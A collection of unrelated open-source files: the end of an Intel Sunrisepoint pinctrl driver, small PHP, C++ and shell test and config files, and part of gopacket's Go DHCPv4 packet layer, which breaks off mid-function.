PINCTRL_PIN(76, "ISH_I2C2_SDA"),
PINCTRL_PIN(77, "SSP0_SFRM"),
PINCTRL_PIN(78, "SSP0_TXD"),
PINCTRL_PIN(79, "SSP0_RXD"),
PINCTRL_PIN(80, "SSP0_SCLK"),
PINCTRL_PIN(81, "ISH_SPI_CSB"),
PINCTRL_PIN(82, "ISH_SPI_CLK"),
PINCTRL_PIN(83, "ISH_SPI_MISO"),
PINCTRL_PIN(84, "ISH_SPI_MOSI"),
PINCTRL_PIN(85, "ISH_UART0_RXD"),
PINCTRL_PIN(86, "ISH_UART0_TXD"),
PINCTRL_PIN(87, "ISH_UART0_RTSB"),
PINCTRL_PIN(88, "ISH_UART0_CTSB"),
PINCTRL_PIN(89, "DMIC_CLK_1"),
PINCTRL_PIN(90, "DMIC_DATA_1"),
PINCTRL_PIN(91, "DMIC_CLK_0"),
PINCTRL_PIN(92, "DMIC_DATA_0"),
PINCTRL_PIN(93, "SPI1_IO_2"),
PINCTRL_PIN(94, "SPI1_IO_3"),
PINCTRL_PIN(95, "ISH_I2C2_SCL"),
/* GPP_E */
PINCTRL_PIN(96, "SATAXPCIE_0"),
PINCTRL_PIN(97, "SATAXPCIE_1"),
PINCTRL_PIN(98, "SATAXPCIE_2"),
PINCTRL_PIN(99, "CPU_GP_0"),
PINCTRL_PIN(100, "SATA_DEVSLP_0"),
PINCTRL_PIN(101, "SATA_DEVSLP_1"),
PINCTRL_PIN(102, "SATA_DEVSLP_2"),
PINCTRL_PIN(103, "CPU_GP_1"),
PINCTRL_PIN(104, "SATA_LEDB"),
PINCTRL_PIN(105, "USB2_OCB_0"),
PINCTRL_PIN(106, "USB2_OCB_1"),
PINCTRL_PIN(107, "USB2_OCB_2"),
PINCTRL_PIN(108, "USB2_OCB_3"),
/* GPP_F */
PINCTRL_PIN(109, "SATAXPCIE_3"),
PINCTRL_PIN(110, "SATAXPCIE_4"),
PINCTRL_PIN(111, "SATAXPCIE_5"),
PINCTRL_PIN(112, "SATAXPCIE_6"),
PINCTRL_PIN(113, "SATAXPCIE_7"),
PINCTRL_PIN(114, "SATA_DEVSLP_3"),
PINCTRL_PIN(115, "SATA_DEVSLP_4"),
PINCTRL_PIN(116, "SATA_DEVSLP_5"),
PINCTRL_PIN(117, "SATA_DEVSLP_6"),
PINCTRL_PIN(118, "SATA_DEVSLP_7"),
PINCTRL_PIN(119, "SATA_SCLOCK"),
PINCTRL_PIN(120, "SATA_SLOAD"),
PINCTRL_PIN(121, "SATA_SDATAOUT1"),
PINCTRL_PIN(122, "SATA_SDATAOUT0"),
PINCTRL_PIN(123, "GPP_F_14"),
PINCTRL_PIN(124, "USB_OCB_4"),
PINCTRL_PIN(125, "USB_OCB_5"),
PINCTRL_PIN(126, "USB_OCB_6"),
PINCTRL_PIN(127, "USB_OCB_7"),
PINCTRL_PIN(128, "L_VDDEN"),
PINCTRL_PIN(129, "L_BKLTEN"),
PINCTRL_PIN(130, "L_BKLTCTL"),
PINCTRL_PIN(131, "GPP_F_22"),
PINCTRL_PIN(132, "GPP_F_23"),
/* GPP_G */
PINCTRL_PIN(133, "FAN_TACH_0"),
PINCTRL_PIN(134, "FAN_TACH_1"),
PINCTRL_PIN(135, "FAN_TACH_2"),
PINCTRL_PIN(136, "FAN_TACH_3"),
PINCTRL_PIN(137, "FAN_TACH_4"),
PINCTRL_PIN(138, "FAN_TACH_5"),
PINCTRL_PIN(139, "FAN_TACH_6"),
PINCTRL_PIN(140, "FAN_TACH_7"),
PINCTRL_PIN(141, "FAN_PWM_0"),
PINCTRL_PIN(142, "FAN_PWM_1"),
PINCTRL_PIN(143, "FAN_PWM_2"),
PINCTRL_PIN(144, "FAN_PWM_3"),
PINCTRL_PIN(145, "GSXDOUT"),
PINCTRL_PIN(146, "GSXSLOAD"),
PINCTRL_PIN(147, "GSXDIN"),
PINCTRL_PIN(148, "GSXRESETB"),
PINCTRL_PIN(149, "GSXCLK"),
PINCTRL_PIN(150, "ADR_COMPLETE"),
PINCTRL_PIN(151, "NMIB"),
PINCTRL_PIN(152, "SMIB"),
PINCTRL_PIN(153, "GPP_G_20"),
PINCTRL_PIN(154, "GPP_G_21"),
PINCTRL_PIN(155, "GPP_G_22"),
PINCTRL_PIN(156, "GPP_G_23"),
/* GPP_H */
PINCTRL_PIN(157, "SRCCLKREQB_6"),
PINCTRL_PIN(158, "SRCCLKREQB_7"),
PINCTRL_PIN(159, "SRCCLKREQB_8"),
PINCTRL_PIN(160, "SRCCLKREQB_9"),
PINCTRL_PIN(161, "SRCCLKREQB_10"),
PINCTRL_PIN(162, "SRCCLKREQB_11"),
PINCTRL_PIN(163, "SRCCLKREQB_12"),
PINCTRL_PIN(164, "SRCCLKREQB_13"),
PINCTRL_PIN(165, "SRCCLKREQB_14"),
PINCTRL_PIN(166, "SRCCLKREQB_15"),
PINCTRL_PIN(167, "SML2CLK"),
PINCTRL_PIN(168, "SML2DATA"),
PINCTRL_PIN(169, "SML2ALERTB"),
PINCTRL_PIN(170, "SML3CLK"),
PINCTRL_PIN(171, "SML3DATA"),
PINCTRL_PIN(172, "SML3ALERTB"),
PINCTRL_PIN(173, "SML4CLK"),
PINCTRL_PIN(174, "SML4DATA"),
PINCTRL_PIN(175, "SML4ALERTB"),
PINCTRL_PIN(176, "ISH_I2C0_SDA"),
PINCTRL_PIN(177, "ISH_I2C0_SCL"),
PINCTRL_PIN(178, "ISH_I2C1_SDA"),
PINCTRL_PIN(179, "ISH_I2C1_SCL"),
PINCTRL_PIN(180, "GPP_H_23"),
/* GPP_I */
PINCTRL_PIN(181, "DDSP_HDP_0"),
PINCTRL_PIN(182, "DDSP_HDP_1"),
PINCTRL_PIN(183, "DDSP_HDP_2"),
PINCTRL_PIN(184, "DDSP_HDP_3"),
PINCTRL_PIN(185, "EDP_HPD"),
PINCTRL_PIN(186, "DDPB_CTRLCLK"),
PINCTRL_PIN(187, "DDPB_CTRLDATA"),
PINCTRL_PIN(188, "DDPC_CTRLCLK"),
PINCTRL_PIN(189, "DDPC_CTRLDATA"),
PINCTRL_PIN(190, "DDPD_CTRLCLK"),
PINCTRL_PIN(191, "DDPD_CTRLDATA"),
};
static const unsigned spth_spi0_pins[] = { 39, 40, 41, 42 };
static const unsigned spth_spi1_pins[] = { 43, 44, 45, 46 };
static const unsigned spth_uart0_pins[] = { 56, 57, 58, 59 };
static const unsigned spth_uart1_pins[] = { 60, 61, 62, 63 };
static const unsigned spth_uart2_pins[] = { 68, 69, 71, 71 };
static const unsigned spth_i2c0_pins[] = { 64, 65 };
static const unsigned spth_i2c1_pins[] = { 66, 67 };
static const unsigned spth_i2c2_pins[] = { 76, 95 };
static const struct intel_pingroup spth_groups[] = {
PIN_GROUP("spi0_grp", spth_spi0_pins, 1),
PIN_GROUP("spi1_grp", spth_spi1_pins, 1),
PIN_GROUP("uart0_grp", spth_uart0_pins, 1),
PIN_GROUP("uart1_grp", spth_uart1_pins, 1),
PIN_GROUP("uart2_grp", spth_uart2_pins, 1),
PIN_GROUP("i2c0_grp", spth_i2c0_pins, 1),
PIN_GROUP("i2c1_grp", spth_i2c1_pins, 1),
PIN_GROUP("i2c2_grp", spth_i2c2_pins, 2),
};
static const char * const spth_spi0_groups[] = { "spi0_grp" };
static const char * const spth_spi1_groups[] = { "spi0_grp" };
static const char * const spth_uart0_groups[] = { "uart0_grp" };
static const char * const spth_uart1_groups[] = { "uart1_grp" };
static const char * const spth_uart2_groups[] = { "uart2_grp" };
static const char * const spth_i2c0_groups[] = { "i2c0_grp" };
static const char * const spth_i2c1_groups[] = { "i2c1_grp" };
static const char * const spth_i2c2_groups[] = { "i2c2_grp" };
static const struct intel_function spth_functions[] = {
FUNCTION("spi0", spth_spi0_groups),
FUNCTION("spi1", spth_spi1_groups),
FUNCTION("uart0", spth_uart0_groups),
FUNCTION("uart1", spth_uart1_groups),
FUNCTION("uart2", spth_uart2_groups),
FUNCTION("i2c0", spth_i2c0_groups),
FUNCTION("i2c1", spth_i2c1_groups),
FUNCTION("i2c2", spth_i2c2_groups),
};
static const struct intel_community spth_communities[] = {
SPT_COMMUNITY(0, 0, 47),
SPT_COMMUNITY(1, 48, 180),
SPT_COMMUNITY(2, 181, 191),
};
static const struct intel_pinctrl_soc_data spth_soc_data = {
.pins = spth_pins,
.npins = ARRAY_SIZE(spth_pins),
.groups = spth_groups,
.ngroups = ARRAY_SIZE(spth_groups),
.functions = spth_functions,
.nfunctions = ARRAY_SIZE(spth_functions),
.communities = spth_communities,
.ncommunities = ARRAY_SIZE(spth_communities),
};
static const struct acpi_device_id spt_pinctrl_acpi_match[] = {
{ "INT344B", (kernel_ulong_t)&sptlp_soc_data },
{ "INT345D", (kernel_ulong_t)&spth_soc_data },
{ }
};
MODULE_DEVICE_TABLE(acpi, spt_pinctrl_acpi_match);
static int spt_pinctrl_probe(struct platform_device *pdev)
{
const struct intel_pinctrl_soc_data *soc_data;
const struct acpi_device_id *id;
id = acpi_match_device(spt_pinctrl_acpi_match, &pdev->dev);
if (!id || !id->driver_data)
return -ENODEV;
soc_data = (const struct intel_pinctrl_soc_data *)id->driver_data;
return intel_pinctrl_probe(pdev, soc_data);
}
static const struct dev_pm_ops spt_pinctrl_pm_ops = {
SET_LATE_SYSTEM_SLEEP_PM_OPS(intel_pinctrl_suspend,
intel_pinctrl_resume)
};
static struct platform_driver spt_pinctrl_driver = {
.probe = spt_pinctrl_probe,
.remove = intel_pinctrl_remove,
.driver = {
.name = "sunrisepoint-pinctrl",
.acpi_match_table = spt_pinctrl_acpi_match,
.pm = &spt_pinctrl_pm_ops,
},
};
static int __init spt_pinctrl_init(void)
{
return platform_driver_register(&spt_pinctrl_driver);
}
subsys_initcall(spt_pinctrl_init);
static void __exit spt_pinctrl_exit(void)
{
platform_driver_unregister(&spt_pinctrl_driver);
}
module_exit(spt_pinctrl_exit);
MODULE_AUTHOR("Mathias Nyman <[email protected]>");
MODULE_AUTHOR("Mika Westerberg <[email protected]>");
MODULE_DESCRIPTION("Intel Sunrisepoint PCH pinctrl/GPIO driver");
MODULE_LICENSE("GPL v2");
|
{
"pile_set_name": "Github"
}
|
--TEST--
phpunit EmptyTestCaseTest ../_files/EmptyTestCaseTest.php
--FILE--
<?php
$_SERVER['argv'][1] = '--no-configuration';
$_SERVER['argv'][2] = 'EmptyTestCaseTest';
$_SERVER['argv'][3] = dirname(dirname(__FILE__)) . '/_files/EmptyTestCaseTest.php';
require __DIR__ . '/../bootstrap.php';
PHPUnit_TextUI_Command::main();
?>
--EXPECTF--
PHPUnit %s by Sebastian Bergmann and contributors.
F
Time: %s, Memory: %s
There was 1 failure:
1) Warning
No tests found in class "EmptyTestCaseTest".
FAILURES!
Tests: 1, Assertions: 0, Failures: 1.
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<module type="JAVA_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$">
<sourceFolder url="file://$MODULE_DIR$" isTestSource="false" />
</content>
<orderEntry type="inheritedJdk" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
</module>
|
{
"pile_set_name": "Github"
}
|
#!/bin/sh
node server.js &
#node server.js &
#node server.js &
#node server.js &
node --debug pub.js
|
{
"pile_set_name": "Github"
}
|
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// <iterator>
// move_iterator
// template <class U>
// requires HasAssign<Iter, const U&>
// move_iterator&
// operator=(const move_iterator<U>& u);
// test requires
#include <iterator>
template <class It, class U>
void
test(U u)
{
const std::move_iterator<U> r2(u);
std::move_iterator<It> r1;
r1 = r2;
}
struct base {};
struct derived {};
int main()
{
derived d;
test<base*>(&d);
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace OSS\Tests;
use OSS\Http\ResponseCore;
use OSS\Core\OssException;
use OSS\Model\LifecycleConfig;
use OSS\Result\GetLifecycleResult;
class GetLifecycleResultTest extends \PHPUnit_Framework_TestCase
{
private $validXml = <<<BBBB
<?xml version="1.0" encoding="utf-8"?>
<LifecycleConfiguration>
<Rule>
<ID>delete obsoleted files</ID>
<Prefix>obsoleted/</Prefix>
<Status>Enabled</Status>
<Expiration><Days>3</Days></Expiration>
</Rule>
<Rule>
<ID>delete temporary files</ID>
<Prefix>temporary/</Prefix>
<Status>Enabled</Status>
<Expiration><Date>2022-10-12T00:00:00.000Z</Date></Expiration>
<Expiration2><Date>2022-10-12T00:00:00.000Z</Date></Expiration2>
</Rule>
</LifecycleConfiguration>
BBBB;
public function testParseValidXml()
{
$response = new ResponseCore(array(), $this->validXml, 200);
$result = new GetLifecycleResult($response);
$this->assertTrue($result->isOK());
$this->assertNotNull($result->getData());
$this->assertNotNull($result->getRawResponse());
$lifecycleConfig = $result->getData();
$this->assertEquals($this->cleanXml($this->validXml), $this->cleanXml($lifecycleConfig->serializeToXml()));
}
private function cleanXml($xml)
{
return str_replace("\n", "", str_replace("\r", "", $xml));
}
public function testInvalidResponse()
{
$response = new ResponseCore(array(), $this->validXml, 300);
try {
new GetLifecycleResult($response);
$this->assertTrue(false);
} catch (OssException $e) {
}
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2016 Google, Inc. All rights reserved.
//
// Use of this source code is governed by a BSD-style license
// that can be found in the LICENSE file in the root of the source
// tree.
package layers
import (
"bytes"
"encoding/binary"
"fmt"
"net"
"github.com/google/gopacket"
)
// DHCPOp rerprents a bootp operation
type DHCPOp byte
// bootp operations
const (
DHCPOpRequest DHCPOp = 1
DHCPOpReply DHCPOp = 2
)
// String returns a string version of a DHCPOp.
func (o DHCPOp) String() string {
switch o {
case DHCPOpRequest:
return "Request"
case DHCPOpReply:
return "Reply"
default:
return "Unknown"
}
}
// DHCPMsgType represents a DHCP operation
type DHCPMsgType byte
// Constants that represent DHCP operations
const (
DHCPMsgTypeUnspecified DHCPMsgType = iota
DHCPMsgTypeDiscover
DHCPMsgTypeOffer
DHCPMsgTypeRequest
DHCPMsgTypeDecline
DHCPMsgTypeAck
DHCPMsgTypeNak
DHCPMsgTypeRelease
DHCPMsgTypeInform
)
// String returns a string version of a DHCPMsgType.
func (o DHCPMsgType) String() string {
switch o {
case DHCPMsgTypeUnspecified:
return "Unspecified"
case DHCPMsgTypeDiscover:
return "Discover"
case DHCPMsgTypeOffer:
return "Offer"
case DHCPMsgTypeRequest:
return "Request"
case DHCPMsgTypeDecline:
return "Decline"
case DHCPMsgTypeAck:
return "Ack"
case DHCPMsgTypeNak:
return "Nak"
case DHCPMsgTypeRelease:
return "Release"
case DHCPMsgTypeInform:
return "Inform"
default:
return "Unknown"
}
}
//DHCPMagic is the RFC 2131 "magic cooke" for DHCP.
var DHCPMagic uint32 = 0x63825363
// DHCPv4 contains data for a single DHCP packet.
type DHCPv4 struct {
BaseLayer
Operation DHCPOp
HardwareType LinkType
HardwareLen uint8
HardwareOpts uint8
Xid uint32
Secs uint16
Flags uint16
ClientIP net.IP
YourClientIP net.IP
NextServerIP net.IP
RelayAgentIP net.IP
ClientHWAddr net.HardwareAddr
ServerName []byte
File []byte
Options DHCPOptions
}
// DHCPOptions is used to get nicely printed option lists which would normally
// be cut off after 5 options.
type DHCPOptions []DHCPOption
// String returns a string version of the options list.
func (o DHCPOptions) String() string {
buf := &bytes.Buffer{}
buf.WriteByte('[')
for i, opt := range o {
buf.WriteString(opt.String())
if i+1 != len(o) {
buf.WriteString(", ")
}
}
buf.WriteByte(']')
return buf.String()
}
// LayerType returns gopacket.LayerTypeDHCPv4
func (d *DHCPv4) LayerType() gopacket.LayerType { return LayerTypeDHCPv4 }
// DecodeFromBytes decodes the given bytes into this layer.
func (d *DHCPv4) DecodeFromBytes(data []byte, df gopacket.DecodeFeedback) error {
if len(data) < 240 {
df.SetTruncated()
return fmt.Errorf("DHCPv4 length %d too short", len(data))
}
d.Options = d.Options[:0]
d.Operation = DHCPOp(data[0])
d.HardwareType = LinkType(data[1])
d.HardwareLen = data[2]
d.HardwareOpts = data[3]
d.Xid = binary.BigEndian.Uint32(data[4:8])
d.Secs = binary.BigEndian.Uint16(data[8:10])
d.Flags = binary.BigEndian.Uint16(data[10:12])
d.ClientIP = net.IP(data[12:16])
d.YourClientIP = net.IP(data[16:20])
d.NextServerIP = net.IP(data[20:24])
d.RelayAgentIP = net.IP(data[24:28])
d.ClientHWAddr = net.HardwareAddr(data[28 : 28+d.HardwareLen])
d.ServerName = data[44:108]
d.File = data[108:236]
if binary.BigEndian.Uint32(data[236:240]) != DHCPMagic {
return InvalidMagicCookie
}
if len(data) <= 240 {
// DHCP Packet could have no option (??)
return nil
}
options := data[240:]
stop := len(options)
start := 0
for start < stop {
o := DHCPOption{}
if err := o.decode(options[start:]); err != nil {
return err
}
if o.Type == DHCPOptEnd {
break
}
d.Options = append(d.Options, o)
// Check if the option is a single byte pad
if o.Type == DHCPOptPad {
start++
} else {
start += int(o.Length) + 2
}
}
d.Contents = data
return nil
}
// Len returns the length of a DHCPv4 packet.
func (d *DHCPv4) Len() uint16 {
n := uint16(240)
for _, o := range d.Options {
if o.Type == DHCPOptPad {
n++
} else {
n += uint16(o.Length) + 2
}
}
n++ // for opt end
return n
}
// SerializeTo writes the serialized form of this layer into the
// SerializationBuffer, implementing gopacket.SerializableLayer.
// See the docs for gopacket.SerializableLayer for more info.
func (d *DHCPv4) SerializeTo(b gopacket.SerializeBuffer, opts gopacket.SerializeOptions) error {
plen := int(d.Len())
data, err := b.PrependBytes(plen)
if err != nil {
return err
}
data[0] = byte(d.Operation)
data[1] = byte(d.HardwareType)
if opts.FixLengths {
d.HardwareLen = uint8(len(d.ClientHWAddr))
}
data[2] = d.HardwareLen
data[3] = d.HardwareOpts
binary.BigEndian.PutUint32(data[4:8], d.Xid)
binary.BigEndian.PutUint16(data[8:10], d.Secs)
binary.BigEndian.PutUint16(data[10:12], d.Flags)
copy(data[12:16], d.ClientIP.To4())
copy(data[16:20], d.YourClientIP.To4())
copy(data[20:24], d.NextServerIP.To4())
copy(data[24:28], d.RelayAgentIP.To4())
copy(data[28:44], d.ClientHWAddr)
copy(data[44:108], d.ServerName)
copy(data[108:236], d.File)
binary.BigEndian.PutUint32(data[236:240], DHCPMagic)
if len(d.Options) > 0 {
offset := 240
for _, o := range d.Options {
if err := o.encode(data[offset:]); err != nil {
return err
}
// A pad option is only a single byte
if o.Type == DHCPOptPad {
offset++
} else {
offset += 2 + len(o.Data)
}
}
optend := NewDHCPOption(DHCPOptEnd, nil)
if err := optend.encode(data[offset:]); err != nil {
return err
}
}
return nil
}
// CanDecode returns the set of layer types that this DecodingLayer can decode.
func (d *DHCPv4) CanDecode() gopacket.LayerClass {
return LayerTypeDHCPv4
}
// NextLayerType returns the layer type contained by this DecodingLayer.
func (d *DHCPv4) NextLayerType() gopacket.LayerType {
return gopacket.LayerTypePayload
}
func decodeDHCPv4(data []byte, p gopacket.PacketBuilder) error {
dhcp := &DHCPv4{}
err := dhcp.DecodeFromBytes(data, p)
if err != nil {
return err
}
p.AddLayer(dhcp)
return p.NextDecoder(gopacket.LayerTypePayload)
}
// DHCPOpt represents a DHCP option or parameter from RFC-2132
type DHCPOpt byte
// Constants for the DHCPOpt options.
const (
DHCPOptPad DHCPOpt = 0
DHCPOptSubnetMask DHCPOpt = 1 // 4, net.IP
DHCPOptTimeOffset DHCPOpt = 2 // 4, int32 (signed seconds from UTC)
DHCPOptRouter DHCPOpt = 3 // n*4, [n]net.IP
DHCPOptTimeServer DHCPOpt = 4 // n*4, [n]net.IP
DHCPOptNameServer DHCPOpt = 5 // n*4, [n]net.IP
DHCPOptDNS DHCPOpt = 6 // n*4, [n]net.IP
DHCPOptLogServer DHCPOpt = 7 // n*4, [n]net.IP
DHCPOptCookieServer DHCPOpt = 8 // n*4, [n]net.IP
DHCPOptLPRServer DHCPOpt = 9 // n*4, [n]net.IP
DHCPOptImpressServer DHCPOpt = 10 // n*4, [n]net.IP
DHCPOptResLocServer DHCPOpt = 11 // n*4, [n]net.IP
DHCPOptHostname DHCPOpt = 12 // n, string
DHCPOptBootfileSize DHCPOpt = 13 // 2, uint16
DHCPOptMeritDumpFile DHCPOpt = 14 // >1, string
DHCPOptDomainName DHCPOpt = 15 // n, string
DHCPOptSwapServer DHCPOpt = 16 // n*4, [n]net.IP
DHCPOptRootPath DHCPOpt = 17 // n, string
DHCPOptExtensionsPath DHCPOpt = 18 // n, string
DHCPOptIPForwarding DHCPOpt = 19 // 1, bool
DHCPOptSourceRouting DHCPOpt = 20 // 1, bool
DHCPOptPolicyFilter DHCPOpt = 21 // 8*n, [n]{net.IP/net.IP}
DHCPOptDatagramMTU DHCPOpt = 22 // 2, uint16
DHCPOptDefaultTTL DHCPOpt = 23 // 1, byte
DHCPOptPathMTUAgingTimeout DHCPOpt = 24 // 4, uint32
DHCPOptPathPlateuTableOption DHCPOpt = 25 // 2*n, []uint16
DHCPOptInterfaceMTU DHCPOpt = 26 // 2, uint16
DHCPOptAllSubsLocal DHCPOpt = 27 // 1, bool
DHCPOptBroadcastAddr DHCPOpt = 28 // 4, net.IP
DHCPOptMaskDiscovery DHCPOpt = 29 // 1, bool
DHCPOptMaskSupplier DHCPOpt = 30 // 1, bool
DHCPOptRouterDiscovery DHCPOpt = 31 // 1, bool
DHCPOptSolicitAddr DHCPOpt = 32 // 4, net.IP
DHCPOptStaticRoute DHCPOpt = 33 // n*8, [n]{net.IP/net.IP} -- note the 2nd is router not mask
DHCPOptARPTrailers DHCPOpt = 34 // 1, bool
DHCPOptARPTimeout DHCPOpt = 35 // 4, uint32
DHCPOptEthernetEncap DHCPOpt = 36 // 1, bool
DHCPOptTCPTTL DHCPOpt = 37 // 1, byte
DHCPOptTCPKeepAliveInt DHCPOpt = 38 // 4, uint32
DHCPOptTCPKeepAliveGarbage DHCPOpt = 39 // 1, bool
DHCPOptNISDomain DHCPOpt = 40 // n, string
DHCPOptNISServers DHCPOpt = 41 // 4*n, [n]net.IP
DHCPOptNTPServers DHCPOpt = 42 // 4*n, [n]net.IP
DHCPOptVendorOption DHCPOpt = 43 // n, [n]byte // may be encapsulated.
DHCPOptNetBIOSTCPNS DHCPOpt = 44 // 4*n, [n]net.IP
DHCPOptNetBIOSTCPDDS DHCPOpt = 45 // 4*n, [n]net.IP
DHCPOptNETBIOSTCPNodeType DHCPOpt = 46 // 1, magic byte
DHCPOptNetBIOSTCPScope DHCPOpt = 47 // n, string
DHCPOptXFontServer DHCPOpt = 48 // n, string
DHCPOptXDisplayManager DHCPOpt = 49 // n, string
DHCPOptRequestIP DHCPOpt = 50 // 4, net.IP
DHCPOptLeaseTime DHCPOpt = 51 // 4, uint32
DHCPOptExtOptions DHCPOpt = 52 // 1, 1/2/3
DHCPOptMessageType DHCPOpt = 53 // 1, 1-7
DHCPOptServerID DHCPOpt = 54 // 4, net.IP
DHCPOptParamsRequest DHCPOpt = 55 // n, []byte
DHCPOptMessage DHCPOpt = 56 // n, 3
DHCPOptMaxMessageSize DHCPOpt = 57 // 2, uint16
DHCPOptT1 DHCPOpt = 58 // 4, uint32
DHCPOptT2 DHCPOpt = 59 // 4, uint32
DHCPOptClassID DHCPOpt = 60 // n, []byte
DHCPOptClientID DHCPOpt = 61 // n >= 2, []byte
DHCPOptDomainSearch DHCPOpt = 119 // n, string
DHCPOptSIPServers DHCPOpt = 120 // n, url
DHCPOptClasslessStaticRoute DHCPOpt = 121 //
DHCPOptEnd DHCPOpt = 255
)
// String returns a string version of a DHCPOpt.
func (o DHCPOpt) String() string {
switch o {
case DHCPOptPad:
return "(padding)"
case DHCPOptSubnetMask:
return "SubnetMask"
case DHCPOptTimeOffset:
return "TimeOffset"
case DHCPOptRouter:
return "Router"
case DHCPOptTimeServer:
return "rfc868" // old time server protocol stringified to dissuade confusion w. NTP
case DHCPOptNameServer:
return "ien116" // obscure nameserver protocol stringified to dissuade confusion w. DNS
case DHCPOptDNS:
return "DNS"
case DHCPOptLogServer:
return "mitLCS" // MIT LCS server protocol yada yada w. Syslog
case DHCPOptCookieServer:
return "CookieServer"
case DHCPOptLPRServer:
return "LPRServer"
case DHCPOptImpressServer:
return "ImpressServer"
case DHCPOptResLocServer:
return "ResourceLocationServer"
case DHCPOptHostname:
return "Hostname"
case DHCPOptBootfileSize:
return "BootfileSize"
case DHCPOptMeritDumpFile:
return "MeritDumpFile"
case DHCPOptDomainName:
return "DomainName"
case DHCPOptSwapServer:
return "SwapServer"
case DHCPOptRootPath:
return "RootPath"
case DHCPOptExtensionsPath:
return "ExtensionsPath"
case DHCPOptIPForwarding:
return "IPForwarding"
case DHCPOptSourceRouting:
return "SourceRouting"
case DHCPOptPolicyFilter:
return "PolicyFilter"
case DHCPOptDatagramMTU:
return "DatagramMTU"
case DHCPOptDefaultTTL:
return "DefaultTTL"
case DHCPOptPathMTUAgingTimeout:
return "PathMTUAgingTimeout"
case DHCPOptPathPlateuTableOption:
return "PathPlateuTableOption"
case DHCPOptInterfaceMTU:
return "InterfaceMTU"
case DHCPOptAllSubsLocal:
return "AllSubsLocal"
case DHCPOptBroadcastAddr:
return "BroadcastAddress"
case DHCPOptMaskDiscovery:
return "MaskDiscovery"
case DHCPOptMaskSupplier:
return "MaskSupplier"
case DHCPOptRouterDiscovery:
return "RouterDiscovery"
case DHCPOptSolicitAddr:
return "SolicitAddr"
case DHCPOptStaticRoute:
return "StaticRoute"
case DHCPOptARPTrailers:
return "ARPTrailers"
case DHCPOptARPTimeout:
return "ARPTimeout"
case DHCPOptEthernetEncap:
return "EthernetEncap"
case DHCPOptTCPTTL:
return "TCPTTL"
case DHCPOptTCPKeepAliveInt:
return "TCPKeepAliveInt"
case DHCPOptTCPKeepAliveGarbage:
return "TCPKeepAliveGarbage"
case DHCPOptNISDomain:
return "NISDomain"
case DHCPOptNISServers:
return "NISServers"
case DHCPOptNTPServers:
return "NTPServers"
case DHCPOptVendorOption:
return "VendorOption"
case DHCPOptNetBIOSTCPNS:
return "NetBIOSOverTCPNS"
case DHCPOptNetBIOSTCPDDS:
return "NetBiosOverTCPDDS"
case DHCPOptNETBIOSTCPNodeType:
return "NetBIOSOverTCPNodeType"
case DHCPOptNetBIOSTCPScope:
return "NetBIOSOverTCPScope"
case DHCPOptXFontServer:
return "XFontServer"
case DHCPOptXDisplayManager:
return "XDisplayManager"
case DHCPOptEnd:
return "(end)"
case DHCPOptSIPServers:
return "SipServers"
case DHCPOptRequestIP:
return "RequestIP"
case DHCPOptLeaseTime:
return "LeaseTime"
case DHCPOptExtOptions:
return "ExtOpts"
case DHCPOptMessageType:
return "MessageType"
case DHCPOptServerID:
return "ServerID"
case DHCPOptParamsRequest:
return "ParamsRequest"
case DHCPOptMessage:
return "Message"
case DHCPOptMaxMessageSize:
return "MaxDHCPSize"
case DHCPOptT1:
return "Timer1"
case DHCPOptT2:
return "Timer2"
case DHCPOptClassID:
return "ClassID"
case DHCPOptClientID:
return "ClientID"
case DHCPOptDomainSearch:
return "DomainSearch"
case DHCPOptClasslessStaticRoute:
return "ClasslessStaticRoute"
default:
return "Unknown"
}
}
// DHCPOption rerpresents a DHCP option.
type DHCPOption struct {
Type DHCPOpt
Length uint8
Data []byte
}
// String returns a string version of a DHCP Option.
func (o DHCPOption) String() string {
switch o.Type {
case DHCPOptHostname, DHCPOptMeritDumpFile, DHCPOptDomainName, DHCPOptRootPath,
DHCPOptExtensionsPath, DHCPOptNISDomain, DHCPOptNetBIOSTCPScope, DHCPOptXFontServer,
DHCPOptXDisplayManager, DHCPOptMessage, DHCPOptDomainSearch: // string
return fmt.Sprintf("Option(%s:%s)", o.Type, string(o.Data))
case DHCPOptMessageType:
if len(o.Data) != 1 {
return fmt.Sprintf("Option(%s:INVALID)", o.Type)
}
return fmt.Sprintf("Option(%s:%s)", o.Type, DHCPMsgType(o.Data[0]))
case DHCPOptSubnetMask, DHCPOptServerID, DHCPOptBroadcastAddr,
DHCPOptSolicitAddr, DHCPOptRequestIP: // net.IP
if len(o.Data) < 4 {
return fmt.Sprintf("Option(%s:INVALID)", o.Type)
}
return fmt.Sprintf("Option(%s:%s)", o.Type, net.IP(o.Data))
case DHCPOptT1, DHCPOptT2, DHCPOptLeaseTime, DHCPOptPathMTUAgingTimeout,
DHCPOptARPTimeout, DHCPOptTCPKeepAliveInt: // uint32
if len(o.Data) != 4 {
return fmt.Sprintf("Option(%s:INVALID)", o.Type)
}
return fmt.Sprintf("Option(%s:%d)", o.Type,
uint32(o.Data[0])<<24|uint32(o.Data[1])<<16|uint32(o.Data[2])<<8|uint32(o.Data[3]))
case DHCPOptParamsRequest:
buf := &bytes.Buffer{}
buf.WriteString(fmt.Sprintf("Option(%s:", o.Type))
for i, v := range o.Data {
buf.WriteString(DHCPOpt(v).String())
if i+1 != len(o.Data) {
buf.WriteByte(',')
}
}
buf.WriteString(")")
return buf.String()
default:
return fmt.Sprintf("Option(%s:%v)", o.Type, o.Data)
}
}
// NewDHCPOption constructs a new DHCPOption with a given type and data.
func NewDHCPOption(t DHCPOpt, data []byte) DHCPOption {
o := DHCPOption{Type: t}
if data != nil {
o.Data = data
o.Length = uint8(len(data))
}
return o
}
func (o *DHCPOption) encode(b []byte) error {
switch o.Type {
case DHCPOptPad, DHCPOptEnd:
b[0] = byte(o.Type)
default:
b[0] = byte(o.Type)
b[1] = o.Length
copy(b[2:], o.Data)
}
return nil
}
func (o *DHCPOption) decode(data []byte) error {
if len(data) < 1 {
// Pad/End have a length of 1
return DecOptionNotEnoughData
}
o.Type = DHCPOpt(data[0])
switch o.Type {
case DHCPOptPad, DHCPOptEnd:
o.Data = nil
default:
